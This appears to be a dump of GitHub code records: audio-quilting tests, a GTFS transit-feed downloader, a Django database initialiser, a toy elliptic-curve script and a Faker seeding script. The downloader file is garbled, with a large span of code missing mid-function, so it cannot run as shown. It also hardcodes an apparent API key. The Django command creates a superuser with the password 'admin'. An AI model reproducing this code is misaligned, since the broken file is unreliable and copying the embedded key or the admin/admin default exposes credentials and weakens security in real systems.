"usage_type": "name"}, {"api_name": "config.db.session.merge", "line_number": 56, "usage_type": "call"}, {"api_name": "config.db.session", "line_number": 56, "usage_type": "attribute"}, {"api_name": "config.db", "line_number": 56, "usage_type": "name"}, {"api_name": "config.db.session.commit", "line_number": 57, "usage_type": "call"}, {"api_name": "config.db.session", "line_number": 57, "usage_type": "attribute"}, {"api_name": "config.db", "line_number": 57, "usage_type": "name"}, {"api_name": "models.person_schema.dump", "line_number": 59, "usage_type": "call"}, {"api_name": "models.person_schema", "line_number": 59, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 61, "usage_type": "call"}, {"api_name": "models.Person.query.filter", "line_number": 70, "usage_type": "call"}, {"api_name": "models.Person.query", "line_number": 70, "usage_type": "attribute"}, {"api_name": "models.Person", "line_number": 70, "usage_type": "name"}, {"api_name": "models.Person.lname", "line_number": 70, "usage_type": "attribute"}, {"api_name": "config.db.session.delete", "line_number": 73, "usage_type": "call"}, {"api_name": "config.db.session", "line_number": 73, "usage_type": "attribute"}, {"api_name": "config.db", "line_number": 73, "usage_type": "name"}, {"api_name": "config.db.session.commit", "line_number": 74, "usage_type": "call"}, {"api_name": "config.db.session", "line_number": 74, "usage_type": "attribute"}, {"api_name": "config.db", "line_number": 74, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 76, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 80, "usage_type": "call"}]} {"seq_id": "1136599584", "text": "import numpy as np\nfrom soundquilter import quilter as qtr\nimport pytest\n\n# TODO: how to test houskeeping methods in the app\nSHOW = False\nPLAY = False\n\n# PATH_TO_REF_ARRAYS = \"soundquilter/tests/ref/\"\nPATH_TO_REF_ARRAYS = \"ref/\"\n\n\ndef test_split_array():\n # should work only when signal size evenly divisible by segment length\n signal = np.ones([30, 50])\n len_segment_samples = 5\n segments = qtr.split_array(signal, len_segment_samples)\n assert segments.shape[0] == signal.shape[-1] // len_segment_samples\n assert segments[0].shape == (30, 5)\n\n\ndef test_make_window():\n window_reference = np.load(PATH_TO_REF_ARRAYS + \"window.npy\")\n len_overlap_samples = 600\n len_segment_samples = 1200\n len_sides = len_overlap_samples\n len_middle = len_segment_samples - len_overlap_samples\n window = qtr.make_window(len_sides, len_middle)\n assert (window == window_reference).all()\n\n\ndef test_compute_distances():\n # TODO: test with borders where the 2 arrays compared are not the same\n arrays = np.load(PATH_TO_REF_ARRAYS + \"arrays_for_compute_distance.npy\")\n distance_matrix = qtr.compute_distances(arrays)\n assert np.trace(distance_matrix) == 0 # sum along diagonal should be zero\n assert np.all(distance_matrix.shape == (arrays.shape[0], arrays.shape[0]))\n # TODO: this part is failing but not clear the functionality is needed\n # # test case where we pass 2 sets of different number of arrays\n # arrays_2 = arrays.copy()[0:3, ...]\n # distance_matrix = qtr.compute_distances(arrays, arrays_2)\n # assert np.trace(distance_matrix) == 0 # sum along diagonal should be zero\n # assert np.all(distance_matrix.shape == (arrays.shape[0], arrays_2.shape[0]))\n\n\ndef test_find_sequence_similar_diagonal():\n # TODO: test with sensible distances\n distance_matrix = np.arange(1, 101).reshape([10, 10]).astype(np.float)\n len_sequence = 6\n index_sequence = qtr.find_sequence_similar_diagonal(distance_matrix, len_sequence)\n assert len(index_sequence) == len_sequence\n\n\ndef test_find_optimal_location():\n vector = np.sin(2*np.pi * np.linspace(0, 1, 10))\n candidates = np.random.randn(100) * 0.3 # small amplitude noise\n actual_best_location = 20\n candidates[actual_best_location:30] = vector # simulate a region where it should yield highest correlation\n obtained_best_location = qtr.find_optimal_location(vector, candidates)\n assert obtained_best_location == actual_best_location\n\n\ndef test_join_segments_psola():\n signal_size = int(2e4) * 7\n signal = np.random.randn(signal_size)\n len_segment = 1200\n ordered_initial_locations = np.arange(\n len_segment, signal_size - len_segment, len_segment\n )\n window = np.load(PATH_TO_REF_ARRAYS + \"window.npy\")\n max_shift = 300\n len_overlap = 600\n joined_segments = qtr.join_segments_psola(\n signal, ordered_initial_locations,\n window, max_shift,\n len_segment, len_overlap\n )\n\n\n@pytest.mark.smoke\ndef test_sound_quilter():\n from scipy.signal import spectrogram, resample_poly\n import soundfile as sf\n np.random.seed(seed=12345678)\n srate = int(2e4)\n # num_secs = 7\n # num_samples = num_secs * srate\n path2signal = PATH_TO_REF_ARRAYS + \"Laughter.wav\"\n\n signal, srate_loaded = sf.read(path2signal, dtype=\"float32\")\n if signal.ndim > 1: # if stereo, to mono and normalize\n signal = signal.sum(axis=1) / np.abs(signal.sum(axis=1)).max()\n if srate_loaded != srate: # if different sampling rate, resample\n signal = resample_poly(signal, srate, srate_loaded, axis=0)\n\n # TODO: delte the following line\n # signal = signal[0:4800]\n\n quilter = qtr.SoundQuilter()\n config = {\n # Attributes set by the user\n \"srate\": srate,\n \"len_segment_samples\": 2400,\n \"len_overlap_samples\": 600,\n \"len_quilt_samples\": 2400 * 6, # int(srate * 4.0),\n \"len_feature_border_samples\": 300, # defines the extent to use for distance calculation\n # \"_distance_metric\": None, # should work with broadcasting\n # for selecting via maximizing cross-correlation (PSOLA),\n \"max_shift_samples\": 300,\n \"signal\": signal,\n \"distance_metric\": \"sqerror\"\n }\n quilter.configure(config)\n quilter.register_custom_transform(lambda x: spectrogram(x, srate)[2])\n quilt = quilter.make_quilt()\n\n assert quilt.shape[0] == config[\"len_quilt_samples\"]\n\n if SHOW:\n from matplotlib import pyplot as plt\n plt.plot(quilt)\n if PLAY:\n from pycochleagram.utils import play_array\n play_array(quilt, srate, rescale=\"normalize\", ignore_warning=True)\n # play_array(signal, srate, rescale=\"normalize\", ignore_warning=True)\n\n", "repo_name": "fedeadolfi/soundquilter", "sub_path": "soundquilter/tests/test_sound_quilter.py", "file_name": "test_sound_quilter.py", "file_ext": "py", "file_size_in_byte": 4740, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "numpy.ones", "line_number": 15, "usage_type": "call"}, {"api_name": "soundquilter.quilter.split_array", "line_number": 17, "usage_type": "call"}, {"api_name": "soundquilter.quilter", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 23, "usage_type": "call"}, {"api_name": "soundquilter.quilter.make_window", "line_number": 28, "usage_type": "call"}, {"api_name": "soundquilter.quilter", "line_number": 28, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 34, "usage_type": "call"}, {"api_name": "soundquilter.quilter.compute_distances", "line_number": 35, "usage_type": "call"}, {"api_name": "soundquilter.quilter", "line_number": 35, "usage_type": "name"}, {"api_name": "numpy.trace", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 48, "usage_type": "attribute"}, {"api_name": "soundquilter.quilter.find_sequence_similar_diagonal", "line_number": 50, "usage_type": "call"}, {"api_name": "soundquilter.quilter", "line_number": 50, "usage_type": "name"}, {"api_name": "numpy.sin", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 55, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 56, "usage_type": "attribute"}, {"api_name": "soundquilter.quilter.find_optimal_location", "line_number": 59, "usage_type": "call"}, {"api_name": "soundquilter.quilter", "line_number": 59, "usage_type": "name"}, {"api_name": "numpy.random.randn", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 65, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 70, "usage_type": "call"}, {"api_name": "soundquilter.quilter.join_segments_psola", "line_number": 73, "usage_type": "call"}, {"api_name": "soundquilter.quilter", "line_number": 73, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 84, "usage_type": "attribute"}, {"api_name": "soundfile.read", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 92, "usage_type": "call"}, {"api_name": "scipy.signal.resample_poly", "line_number": 94, "usage_type": "call"}, {"api_name": "soundquilter.quilter.SoundQuilter", "line_number": 99, "usage_type": "call"}, {"api_name": "soundquilter.quilter", "line_number": 99, "usage_type": "name"}, {"api_name": "scipy.signal.spectrogram", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "pycochleagram.utils.play_array", "line_number": 124, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 80, "usage_type": "attribute"}]} {"seq_id": "1895994577", "text": "#!/usr/bin/env python3\nimport csv\nimport json\nimport itertools\nimport subprocess\nimport shutil\nimport glob\nimport sys\nimport multiprocessing\nimport os\nimport time\n\nimport requests\nimport partridge as ptg\nimport shelve\n\nfrom multiprocessing import Pool\nfrom os.path import basename\n\nimport parse_gtfs\n\n\n\ndef get_script_path():\n path = os.path.abspath(__file__) #Location of file\n path = os.path.split(path)[0] #Strip off filename\n if 'src' in path:\n path = os.path.join(path, '..') #Go up one directory out of `src/`\n elif 'build' in path:\n path = os.path.join(path, '../..') #Go up two directries out of `build/bin`\n path = os.path.abspath(path) #Make it pretty\n return path\n\n\n\ndef clean_fid(fid):\n '''Strip invalid characters from a feed id to turn it into a form\n appropriate for filenames.\n\n Args:\n fid - The feed id to convert\n '''\n return ''.join(c for c in fid if c.isalnum())\n\n\n\nclass FeedFetcher:\n \"\"\"Handles communication with TransitFeeds.com\"\"\"\n def __init__(self, base_url, key, workers=None):\n \"\"\"Args:\n base_url - Base URL for data site\n key - API key for the site\n workers - Number of workers to use for downloading (None=CPU Count)\n \"\"\"\n self.base_url = base_url\n self.key = key\n self.workers = workers\n\n def get_feed_page(self, page):\n '''\n Fetches a list of transit feeds and associated meta data, returning them\n as a JSON object.\n\n Args:\n page - What page to get from the results\n '''\n r = requests.get(\n self.base_url+'getFeeds',\n params = {\n 'key': self.key,\n 'type': 'gtfs',\n 'location': 'undefined',\n 'page': str(page),\n 'descendants': '1',\n 'limit': '100'\n }\n )\n return r.json()\n\n def get_num_pages(self):\n '''Determine how many pages of transit feeds there are'''\n #Get the first page of results to determine total number of pages\n return self.get_feed_page(1)['results']['numPages']\n\n @staticmethod\n def url_to_file_worker(out_queue, in_queue):\n \"\"\"Worker that takes work items from `out_queue`, tries to download the\n urls therein and saves them to disk, reports back on success/failure via\n `in_queue`\"\"\"\n while True:\n item = out_queue.get(block=True) # Retrieve job\n try:\n print(f\"Fetching {item['id']}...\")\n r = requests.get(item[\"url\"], item[\"params\"]) # Request data\n assert r.status_code == requests.codes.ok # Make sure it's okay\n with open(item[\"outfn\"], 'wb') as f: # Open output file\n f.write(r.content) # Write data\n in_queue.put(item[\"id\"]) # Signal success\n except:\n in_queue.put(\"!\"+item[\"id\"]) # Signal failure\n\n def get_feeds_data(self, feed_list, updated):\n \"\"\"Get data associated with each of the feed ids in `feed_list` and save it to disk\n\n Args:\n feed_list - List of feed ids to get\n updated - Function to call when a feed is successfully updated\n \"\"\"\n out_queue = multiprocessing.Queue() # To send data to workers\n in_queue = multiprocessing.Queue() # To get data back from workers\n # Pool of workers for downloading data\n pool = multiprocessing.Pool(self.workers, self.url_to_file_worker, (out_queue,in_queue))\n # Url to get feed data from\n url = self.base_url+'getLatestFeedVersion'\n # Load work onto the queue\n for fid in feed_list:\n outfn = feed_fn_template.format(feed=clean_fid(fid))\n out_queue.put({\"id\":fid, \"url\":url, \"params\":{'key':self.key, 'feed':fid}, \"outfn\":outfn})\n while len(feed_list)>0: # If there's work left to do\n saved = in_queue.get(block=True) # Wait for a message from a worker\n if saved[0]==\"!\": #Failed to get data # If that message indicates failiure\n print(f\"Failed to fetch {saved[1:]}!\") # Notify the user\n feed_list.remove(saved[1:]) # And give up for now by removing from the fetch list\n else: # Otherwise\n print(f\"Fetched {saved}!\") # Notify the user\n feed_list.remove(saved) # Remove from the fetch list\n updated(saved) # Use callback to indicate success\n pool.terminate() # Terminate the worker processes\n\n def get_feed_metadata(self):\n \"\"\"Gets a list of all of the feeds' metadata\"\"\"\n\n # Number of pages of feeds in the feed listing\n pages = self.get_num_pages()\n\n # Acquire all of the feeds by looping over the pages\n feeds = []\n for i in range(1, pages+1):\n feeds.append(self.get_feed_page(i)['results']['feeds'])\n\n # Flatten the feed list\n feeds = [feed for page in feeds for feed in page]\n\n return feeds\n\n\n\nclass FeedManager:\n \"\"\"Persistently manages information about feeds and whether we have their data.\"\"\"\n def __init__(self, db_filename, workers=None):\n \"\"\"\n Args:\n db_filename - Location of feeds database file\n workers - How many workers to use in multiprocessing. None=CPU count\n \"\"\"\n self.db = shelve.open(db_filename, writeback=True)\n self.workers = workers\n\n def __del__(self):\n self.db.close()\n\n def update(self, feed_data):\n \"\"\"Given feed data, adds this data to the database and determines if any\n feeds need to be updated.\n \"\"\"\n for f in feed_data:\n if 'latest' not in f:\n print(f\"No latest data for '{f['t']}'! Skipping.\")\n continue\n fid = f['id']\n name = f['t']\n url = None\n if 'd' in f['u']:\n url = f['u']['d']\n elif 'i' in f['u']:\n url = f['u']['i']\n latest = f['latest']['ts']\n\n if fid not in feed_data: #We don't know about the feed\n self.db[fid] = {\"name\":name, \"url\":url, \"latest\":latest, \"needs_update\": True}\n elif feed_data[fid]['latest']0: # If there's work left to do\n item = in_queue.get(block=True) # Wait for a message from a worker\n fid = item['fid']\n vresult = item['result']\n print(f\"{fid:50}: {vresult}\") # Notify the user\n if vresult==\"good\":\n self.db[fid][\"extents\"] = item[\"extents\"]\n self.db[fid][\"validation_status\"] = vresult # Set validation result\n feed_list.remove(fid) # Remove from the fetch list\n self.db.sync() # Save state\n pool.terminate() # Terminate the worker processes\n\n def invalidate_feeds(self):\n for fid in sorted(self.db):\n self.db[fid][\"validation_status\"] = \"unchecked\"\n self.db.sync()\n\n def print_validation(self):\n for fid in sorted(self.db):\n print(f\"{fid:<50}: \", self.db[fid].get('validation_status', \"unchecked\"))\n\n def get_extents(self):\n for fid in sorted(self.db):\n if self.db[fid][\"validation_status\"]!=\"good\":\n continue\n extents = self.db[fid]['extents']\n #Unpackage the data from the extents\n minlon, minlat, maxlon, maxlat = extents\n\n feed_fn_template.format(feed=clean_fid(fid))\n print(f\"{fid} - good\", file=sys.stderr)\n print(\"{minlat:.8f} {minlon:.8f} {maxlat:.8f} {maxlon:.8f} {filename}\".format(\n minlon = minlon,\n minlat = minlat,\n maxlon = maxlon,\n maxlat = maxlat, \n filename = osm_fn_template.format(feed=clean_fid(fid)) \n ))\n\n\n\ndef AcquireFeeds(fm, local):\n \"\"\"Acquire feed data from the internet. \n \n Args:\n local - If True then update from the local file set; otherwise, acquire \n from online.\n \"\"\"\n ff = FeedFetcher(\n base_url='https://api.transitfeeds.com/v1/',\n key='d8243bad-de5a-47f7-8103-6d3c064d08da',\n )\n\n # Get data about all of the feeds\n feed_data = ff.get_feed_metadata()\n\n # Download feed metadata: determines if there are any new feeds or any feeds\n # which have new data\n fm.update(feed_data)\n\n if local:\n for fid in fm.feeds_to_update():\n if os.path.exists(feed_fn_template.format(feed=clean_fid(fid))):\n fm.updated(fid)\n else:\n # Get updated data for those feeds which need it\n ff.get_feeds_data(fm.feeds_to_update(), fm.updated)\n\n\n\ndef help():\n print(f\"Syntax {sys.argv[0]} [Parsed Prefix]\")\n print(\"Command can be 'acquire' or 'validate' or 'show_validation'\")\n print(\"Parsed Prefix should be like: 'parsed_dir/{feed}'\")\n print(\"[Parsed Prefix] is only needed for 'validate'\")\n sys.exit(-1)\n\n\n\nfeed_fn_template = os.path.join(get_script_path(), \"data/gtfs_{feed}.zip\")\nparsed_template = os.path.join(get_script_path(), \"data/parsed_{feed}\")\nosm_fn_template = os.path.join(get_script_path(), \"data/osm_{feed}.osm.pbf\")\n\nprint(f\"feed_fn_template: {feed_fn_template}\", file=sys.stderr)\nprint(f\"parsed_template: {parsed_template}\", file=sys.stderr)\nprint(f\"osm_fn_template: {osm_fn_template}\", file=sys.stderr)\n\ncommand = sys.argv[1] if len(sys.argv) >= 2 else \"help\"\nfeeds_db_filename = sys.argv[2]\nfm = FeedManager(db_filename=feeds_db_filename)\n\nif command==\"help\":\n help()\nelif command==\"acquire_remote\":\n AcquireFeeds(fm, local=False)\nelif command==\"acquire_local\":\n AcquireFeeds(fm, local=True)\nelif command==\"validate\":\n fm.validate_feeds()\nelif command==\"show_validation\":\n fm.print_validation()\nelif command==\"invalidate\":\n fm.invalidate_feeds()\nelif command==\"extents\":\n fm.get_extents()\nelse:\n print(\"Unrecognized command!\")\n sys.exit(-1)\n", "repo_name": "nickolasclarke/dispatch", "sub_path": "src/pull_gtfs.py", "file_name": "pull_gtfs.py", "file_ext": "py", "file_size_in_byte": 13494, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "70", "api": [{"api_name": "os.path.abspath", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 67, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 94, "usage_type": "call"}, {"api_name": "requests.codes", "line_number": 95, "usage_type": "attribute"}, {"api_name": "multiprocessing.Queue", "line_number": 109, "usage_type": "call"}, {"api_name": "multiprocessing.Queue", "line_number": 110, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 112, "usage_type": "call"}, {"api_name": "shelve.open", "line_number": 156, "usage_type": "call"}, {"api_name": "parse_gtfs.DoesFeedLoad", "line_number": 210, "usage_type": "call"}, {"api_name": "parse_gtfs.HasBusRoutes", "line_number": 212, "usage_type": "call"}, {"api_name": "parse_gtfs.HasBlockIDs", "line_number": 214, "usage_type": "call"}, {"api_name": "parse_gtfs.GetExtents", "line_number": 217, "usage_type": "call"}, {"api_name": "parse_gtfs.ParseFile", "line_number": 218, "usage_type": "call"}, {"api_name": "multiprocessing.Queue", "line_number": 235, "usage_type": "call"}, {"api_name": "multiprocessing.Queue", "line_number": 236, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 238, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 275, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 307, "usage_type": "call"}, {"api_name": "os.path", "line_number": 307, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 316, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 320, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 324, "usage_type": "call"}, {"api_name": "os.path", "line_number": 324, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 325, "usage_type": "call"}, {"api_name": "os.path", "line_number": 325, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 326, "usage_type": "call"}, {"api_name": "os.path", "line_number": 326, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 328, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 329, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 330, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 332, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 333, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 352, "usage_type": "call"}]} {"seq_id": "30491426173", "text": "import datetime\nfrom django.contrib.auth.models import User\nfrom django.contrib.sites.models import Site\nfrom django.core.management import BaseCommand\nfrom django.db import IntegrityError\nfrom education.models import Role, UserProfile\nfrom rapidsms.contrib.locations.models import Location, LocationType\nfrom poll.models import Poll, Category\n\n\nclass Command(BaseCommand):\n\n def handle(self, *args, **options):\n Role.objects.get_or_create(name='Admins')\n admin = User.objects.get_or_create(username='admin')[0]\n admin.set_password('admin')\n admin.is_staff = True\n admin.is_superuser = True\n admin.save()\n UserProfile.objects.get_or_create(\n name='Admins',\n location=Location.objects.get(\n name='Kampala',\n type=LocationType.objects.get(slug='district')),\n role=Role.objects.get(name='Admins'),\n user=User.objects.get(username='admin'))\n try:\n Site.objects.get_or_create(\n id=2,\n domain=\"edtrac.unicefuganda.org\",\n name=\"edtrac\")\n except IntegrityError:\n pass\n\n poll_names = [\n 'edtrac_violence_boys',\n 'edtrac_violence_girls',\n 'edtrac_violence_reported',\n 'edtrac_upe_grant',\n 'edtrac_smc_meetings',\n 'edtrac_smc_meals',\n 'edtrac_head_teachers_attendance',\n 'edtrac_f_teachers_deployment',\n 'edtrac_m_teachers_deployment',\n 'edtrac_f_teachers_attendance',\n 'edtrac_m_teachers_attendance',\n 'edtrac_boysp3_attendance',\n 'edtrac_boysp6_attendance',\n 'edtrac_girlsp3_attendance',\n 'edtrac_girlsp6_attendance',\n 'edtrac_boysp3_enrollment',\n 'edtrac_boysp6_enrollment',\n 'edtrac_girlsp3_enrollment',\n 'edtrac_girlsp6_enrollment',\n 'edtrac_headteachers_meals',\n 'edtrac_gem_abuse',\n 'edtrac_girls_violence',\n 'edtrac_p3curriculum_progress',\n ]\n\n Poll.objects.all().delete()\n for poll_name in poll_names:\n Poll.objects.get_or_create(\n name=poll_name,\n start_date=datetime.datetime.now(),\n type='n',\n default_response='',\n user=User.objects.get(username='admin'))\n Category.objects.get_or_create(\n name='yes',\n poll=Poll.objects.get(name=poll_name))\n", "repo_name": "unicefuganda/edtrac", "sub_path": "edtrac_project/rapidsms_edtrac/education/management/commands/initialize_database.py", "file_name": "initialize_database.py", "file_ext": "py", "file_size_in_byte": 2559, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "70", "api": [{"api_name": "django.core.management.BaseCommand", "line_number": 11, "usage_type": "name"}, {"api_name": "education.models.Role.objects.get_or_create", "line_number": 14, "usage_type": "call"}, {"api_name": "education.models.Role.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "education.models.Role", "line_number": 14, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get_or_create", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 15, "usage_type": "name"}, {"api_name": "education.models.UserProfile.objects.get_or_create", "line_number": 20, "usage_type": "call"}, {"api_name": "education.models.UserProfile.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "education.models.UserProfile", "line_number": 20, "usage_type": "name"}, {"api_name": "rapidsms.contrib.locations.models.Location.objects.get", "line_number": 22, "usage_type": "call"}, {"api_name": "rapidsms.contrib.locations.models.Location.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "rapidsms.contrib.locations.models.Location", "line_number": 22, "usage_type": "name"}, {"api_name": "rapidsms.contrib.locations.models.LocationType.objects.get", "line_number": 24, "usage_type": "call"}, {"api_name": "rapidsms.contrib.locations.models.LocationType.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "rapidsms.contrib.locations.models.LocationType", "line_number": 24, "usage_type": "name"}, {"api_name": "education.models.Role.objects.get", "line_number": 25, "usage_type": "call"}, {"api_name": "education.models.Role.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "education.models.Role", "line_number": 25, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 26, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 26, "usage_type": "name"}, {"api_name": "django.contrib.sites.models.Site.objects.get_or_create", "line_number": 28, "usage_type": "call"}, {"api_name": "django.contrib.sites.models.Site.objects", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.contrib.sites.models.Site", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.IntegrityError", "line_number": 32, "usage_type": "name"}, {"api_name": "poll.models.Poll.objects.all", "line_number": 61, "usage_type": "call"}, {"api_name": "poll.models.Poll.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "poll.models.Poll", "line_number": 61, "usage_type": "name"}, {"api_name": "poll.models.Poll.objects.get_or_create", "line_number": 63, "usage_type": "call"}, {"api_name": "poll.models.Poll.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "poll.models.Poll", "line_number": 63, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 65, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 65, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 68, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 68, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 68, "usage_type": "name"}, {"api_name": "poll.models.Category.objects.get_or_create", "line_number": 69, "usage_type": "call"}, {"api_name": "poll.models.Category.objects", "line_number": 69, "usage_type": "attribute"}, {"api_name": "poll.models.Category", "line_number": 69, "usage_type": "name"}, {"api_name": "poll.models.Poll.objects.get", "line_number": 71, "usage_type": "call"}, {"api_name": "poll.models.Poll.objects", "line_number": 71, "usage_type": "attribute"}, {"api_name": "poll.models.Poll", "line_number": 71, "usage_type": "name"}]} {"seq_id": "13785668148", "text": "# 파이썬 실습 파일: 2-3.ECC(Group).py\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Additive Operation\ndef addOperation(a, b, p, q, m):\n if q == (math.inf, math.inf):\n return p\n \n x1 = p[0]\n y1 = p[1]\n x2 = q[0]\n y2 = q[1]\n \n if p == q:\n # Doubling\n # slope (s) = (3 * x1 ^ 2 + a) / (2 * y1) mod m\n # 분모의 역원부터 계산한다 (by Fermat's Little Theorem)\n r = 2 * y1\n rInv = pow(r, m-2, m) # Fermat's Little Theorem\n s = (rInv * (3 * (x1 ** 2) + a)) % m\n else:\n r = x2 - x1\n rInv = pow(r, m-2, m) # Fermat's Little Theorem\n s = (rInv * (y2 - y1)) % m\n x3 = (s ** 2 - x1 - x2) % m\n y3 = (s * (x1 - x3) - y1) % m\n return x3, y3\n \n# y^2 = x^3 + 2 * x + 2 mod 127\na = 2\nb = 2\nm = 127 # Prime number 이어야 함.\nP = (5,1)\nQ = P\n\nallPoints = [P]\nwhile(1):\n # R이 P의 inverse인지 확인한다. inverse이면 infinity 지점임\n # A = (x1, y1), B = (x2, y2) 일 때 x1 = x2 이고 y1 과 y2가 \n # (mod m)에 대해 additive inverse 이면 infinity\n if (Q[0] == P[0]) & (abs(Q[1] - m) == P[1]):\n # 다음부터 cyclic 되므로 여기서 멈춤.\n break\n else:\n R = addOperation(a, b, P, Q, m)\n allPoints.append(R)\n Q = R\n\nx, y = np.array(allPoints).T\nplt.figure(figsize=(8,6))\nplt.scatter(x, y, marker='o', color='green', alpha=0.5, s=150)\nplt.show()\nprint(allPoints)", "repo_name": "wikibook/blockchain-by-python", "sub_path": "2-3.ECC(Group).py", "file_name": "2-3.ECC(Group).py", "file_ext": "py", "file_size_in_byte": 1469, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "70", "api": [{"api_name": "math.inf", "line_number": 8, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}]} {"seq_id": "40556244101", "text": "import os ,django\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'project.settings')\ndjango.setup()\nfrom faker import Faker \nfrom product.models import Brand ,Product\nimport random\nfrom random import randint\n\nfake = Faker()\n\ndef seed_brand(n):\n for _ in range(n):\n image=['1.png', '2.png', '3.png', '4.png', '5.png', '6.png', '7.png', '8.png', '9.png', '10.png']\n\n Brand.objects.create(\n name=fake.name(),\n image=f\"brand_images/{image[randint(0,9)]}\"\n )\n print(f\"added {n} brands successfuly \")\n\n# seed_brand(45)\n\ndef seed_products(n):\n images=['11.jpeg', '12.jpeg', '13.jpeg', '14.jpeg', '15.jpeg', '16.jpeg', '17.jpeg', '18.jpeg', '19.jpeg']\n flag_choices =['Sale','New','Feature']\n for _ in range(n):\n Product.objects.create(\n name = fake.name(),\n subtitle =fake.text(),\n image =f'product_images/{images[randint(0,8)]}',\n price =round(random.uniform(9.99,99.99),2),\n sku =randint(10000,100000000),\n description = fake.text() ,\n flag = flag_choices[randint(0,2)],\n brand= Brand.objects.get(id=randint(134,180)),\n quantity = randint(0,10),\n tags=\"dummy\",\n )\n print(f\"added {n} Products successfuly \")\n\nseed_products(100)", "repo_name": "AhmedTarek111/Greeny", "sub_path": "dummy_data.py", "file_name": "dummy_data.py", "file_ext": "py", "file_size_in_byte": 1307, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "os.environ.setdefault", "line_number": 2, "usage_type": "call"}, {"api_name": "os.environ", 